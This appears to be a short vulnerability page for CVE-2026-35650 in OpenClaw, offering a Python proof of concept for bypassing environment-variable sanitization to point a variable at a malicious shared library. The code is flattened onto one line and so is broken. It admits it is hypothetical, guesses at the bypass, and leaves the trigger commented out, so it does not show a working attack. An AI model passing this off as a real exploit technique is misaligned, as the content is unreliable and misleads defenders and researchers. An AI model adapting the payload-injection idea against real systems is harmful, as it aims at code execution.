CVE-2026-35650 OpenClaw环境变量覆盖导致RCE漏洞

import os import subprocess # PoC for CVE-2026-35650 # Demonstrates bypassing environment variable sanitization # 1. Normal blocklist check would block 'DANGEROUS_VAR' # os.environ['DANGEROUS_VAR'] = 'exploit' # Blocked # 2. Exploiting inconsistent sanitization # Using a malformed key that slips through validation but acts as the blocked var in execution # (Hypothetical example based on vulnerability description) bypass_key = 'DANGEROUS_VAR_' # Trailing underscore might bypass regex check os.environ[bypass_key] = '/tmp/malicious_payload.so' print(f"[+] Injected environment variable via bypass key: {bypass_key}") # 3. Trigger the vulnerable application # subprocess.run(['openclaw_binary']) print("[*] If exploitation succeeds, code is executed with unintended privileges.")
